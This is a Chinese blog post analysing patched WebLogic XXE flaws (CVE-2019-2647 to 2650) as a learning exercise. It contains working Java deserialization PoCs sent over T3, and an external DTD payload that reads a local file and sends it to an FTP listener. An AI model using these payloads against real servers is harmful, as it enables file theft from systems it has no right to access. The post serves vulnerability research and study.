溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

WebLogic CVE-2019-2647~2650 XXE漏洞分析

發(fā)布時間:2020-08-07 13:27:49 來源:ITPUB博客 閱讀:146 作者:酷酷的曉得哥 欄目:網(wǎng)絡(luò)安全

Oracle發(fā)布了4月份的補(bǔ)丁,詳情見鏈接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW )


@xxlegend在《 weblogic CVE-2019-2647等相關(guān)XXE漏洞分析 》分析了其中的一個XXE漏洞點,并給出了PoC。剛?cè)胧謏ava不久,本著學(xué)習(xí)的目的,自己嘗試分析了其他幾個點的XXE并構(gòu)造了PoC。下面的分析我盡量描述自己思考以及PoC構(gòu)造過程,新手真的會踩很多莫名其妙的坑。感謝在復(fù)現(xiàn)與分析過程中為我提供幫助的小伙伴@Badcode,沒有他的幫助我可能環(huán)境搭起來都會花費一大半時間。


補(bǔ)丁分析,找到漏洞點


根據(jù)JAVA常見XXE寫法與防御方式(參考 https://blog.spoock.com/2018/10/23/java-xxe/ ),通過對比補(bǔ)丁,發(fā)現(xiàn)新補(bǔ)丁以下四處進(jìn)行了 setFeature 操作:


WebLogic CVE-2019-2647~2650 XXE漏洞分析


應(yīng)該就是對應(yīng)的四個CVE了,其中 ForeignRecoveryContext @xxlegend大佬已經(jīng)分析過了,這里就不再分析了,下面主要是分析下其他三個點


分析環(huán)境


  • Windows 10

  • WebLogic 10.3.6.0

  • Jdk160_29(WebLogic 10.3.6.0自帶的JDK)



WsrmServerPayloadContext 漏洞點分析


WsrmServerPayloadContext 修復(fù)后的代碼如下:

package weblogic.wsee.reliability;
import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }
        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...
            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }
           ...
        }
}


可以看到進(jìn)行了 setFeature 操作防止xxe攻擊,而未打補(bǔ)丁之前是沒有進(jìn)行 setFeature 操作的


readExternal 在反序列化對象時會被調(diào)用,與之對應(yīng)的 writeExternal 在序列化對象時會被調(diào)用,看下 writeExternal 的邏輯:


WebLogic CVE-2019-2647~2650 XXE漏洞分析


var1 就是 this.formENdpt ,注意 var5.serialize 可以傳入三種類型的對象, var1.getEndptElement() 返回的是 Element 對象,先嘗試新建一個項目構(gòu)造一下 PoC :


結(jié)構(gòu)如下


WebLogic CVE-2019-2647~2650 XXE漏洞分析


public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override
        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //從DOM工廠中獲得DOM解析器
                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //創(chuàng)建文檔樹模型對象
                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }
    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

test.xml內(nèi)容如下,my.dtd暫時為空就行,先測試能否接收到請求:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>



運(yùn)行PoC,生成的反序列化數(shù)據(jù)xxe,使用十六進(jìn)制查看器打開:


WebLogic CVE-2019-2647~2650 XXE漏洞分析


發(fā)現(xiàn)DOCTYPE無法被引入


我嘗試了下面幾種方法:


  • 在上面說到 var5.serialize 可以傳入 Document 對象,測試了下,的確可以,但是如何使 getEndptElement 返回一個 Document 對象呢?

    • 嘗試了自己創(chuàng)建一個 EndpointReference 類,修改 getEndptElement 返回對象,內(nèi)容和原始內(nèi)容一樣,但是在反序列化時找不到我創(chuàng)建的類,原因是自己建的類 package 與原來的不同,所以失敗了

    • 嘗試像Python那樣動態(tài)替換一個類的方法,貌似Java好像做不到...

  • 嘗試了一個暴力的方法,替換Jar包中的類。首先復(fù)制出Weblogic的 modules 文件夾與 wlserver_10.3\server\lib 文件夾到另一個目錄,將 wlserver_10.3\server\lib\weblogic.jar 解壓,將 WsrmServerPayloadContext.class 類刪除,重新壓縮為 weblogic.Jar ,然后新建一個項目,引入需要的Jar文件( modules wlserver_10.3\server\lib 中所有的Jar包),然后新建一個與 WsrmServerPayloadContext.class 同樣的包名,在其中新建 WsrmServerPayloadContext.class 類,復(fù)制原來的內(nèi)容進(jìn)行修改(修改只是為了生成能觸發(fā)xml解析的數(shù)據(jù),對readExternal反序列化沒有影響)。

    WsrmServerPayloadContext.class 修改的內(nèi)容如下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析


  • 經(jīng)過測試第二種方式是可行的,但是好像過程略復(fù)雜。然后嘗試了下新建一個與原始 WsrmServerPayloadContext.class 類同樣的包名,然后進(jìn)行修改,修改內(nèi)容與第二種方式一樣


WebLogic CVE-2019-2647~2650 XXE漏洞分析


  • 測試這種方式也是可行的,比第二種方式操作起來方便些


構(gòu)造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();
        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

查看下新生成的xxe十六進(jìn)制:


WebLogic CVE-2019-2647~2650 XXE漏洞分析

DOCTYPE被寫入了


測試下,使用T3協(xié)議腳本向WebLogic 7001端口發(fā)送序列化數(shù)據(jù):

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析


漂亮,接收到請求了,接下來就是嘗試下到底能不能讀取到文件了


構(gòu)造的test.xml如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>



my.dtd如下(my.dtd在使用PoC生成反序列化數(shù)據(jù)的時候先清空,然后,不然在 dbBuilder.parse 時會報錯無法生成正常的反序列化數(shù)據(jù),至于為什么,只有自己測試下才會明白):

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;


運(yùn)行PoC生成反序列化數(shù)據(jù),測下發(fā)現(xiàn)請求都接收不到了...,好吧,查看下十六進(jìn)制:


WebLogic CVE-2019-2647~2650 XXE漏洞分析


%dtd;%send; 居然不見了...,可能是因為DOM解析器的原因,my.dtd內(nèi)容為空,數(shù)據(jù)沒有被引用。


嘗試debug看下:


WebLogic CVE-2019-2647~2650 XXE漏洞分析


可以看到 %dtd;%send; 確實是被處理掉了


測試下正常的加載外部數(shù)據(jù),my.dtd改為如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;


gen.xml為:

<?xml version="1.0" encoding="UTF-8"?>


debug看下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析


可以看到 %dtd;%send; 被my.dtd里面的內(nèi)容替換了。debug大致看了xml解析過程,中間有一個 EntityScanner ,會檢測xml中的ENTITY,并且會判斷是否加載了外部資源,如果加載了就外部資源加載進(jìn)來,后面會將實體引用替換為實體申明的內(nèi)容。也就是說,我們構(gòu)造的反序列化數(shù)據(jù)中的xml數(shù)據(jù),已經(jīng)被解析過一次了,而需要的是沒有被解析過的數(shù)據(jù),讓目標(biāo)去解析。


所以我嘗試修改了十六進(jìn)制如下,使得xml修改成沒有被解析的形式:


WebLogic CVE-2019-2647~2650 XXE漏洞分析


運(yùn)行PoC測試下,

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析


居然成功了,一開始以為反序列化生成的xml數(shù)據(jù)那塊還會進(jìn)行校驗,不然反序列化不了,直接修改數(shù)據(jù)是不行的,沒想到直接修改就可以了


UnknownMsgHeader 漏洞點分析


WsrmServerPayloadContext 差不多,PoC構(gòu)造也是新建包然后替換,就不詳細(xì)分析了,只說下類修改的地方與PoC構(gòu)造


新建 UnknownMsgHeader 類,修改 writeExternal

WebLogic CVE-2019-2647~2650 XXE漏洞分析


PoC如下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        QName qname = new QName("a", "b", "c");
        Element xmlHeader = null;
        UnknownMsgHeader umh = new UnknownMsgHeader();
        try {
            Field f1 = umh.getClass().getDeclaredField("qname");
            f1.setAccessible(true);
            f1.set(umh, qname);
            Field f2 = umh.getClass().getDeclaredField("xmlHeader");
            f2.setAccessible(true);
            f2.set(umh, xmlHeader);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return umh;
    }
}



運(yùn)行PoC測試下(生成的步驟與第一個漏洞點一樣),使用T3協(xié)議腳本向WebLogic 7001端口發(fā)送序列化數(shù)據(jù):


WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析


WsrmSequenceContext 漏洞點分析


這個類看似需要構(gòu)造的東西挺多的, readExternal writeExternal 的邏輯也比前兩個復(fù)雜些,但是PoC構(gòu)造也很容易


新建 WsrmSequenceContext 類,修改

WebLogic CVE-2019-2647~2650 XXE漏洞分析


PoC如下:

public class WeblogicXXE3 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        EndpointReference acksTo = new EndpointReference();
        WsrmSequenceContext wsc = new WsrmSequenceContext();
        try {
            Field f1 = wsc.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(wsc, acksTo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wsc;
    }
}



測試下,使用T3協(xié)議腳本向WebLogic 7001端口發(fā)送序列化數(shù)據(jù):


WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析


最 后


好了,分析完成了。第一次分析Java的漏洞,還有很多不足的地方,但是分析的過程中也學(xué)到了很多,就算是一個看似很簡單的點,如果不熟悉Java的一特性,會花費較長的時間去折騰。所以,一步一步走吧,不要太急躁,還有很多東西要學(xué)。


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI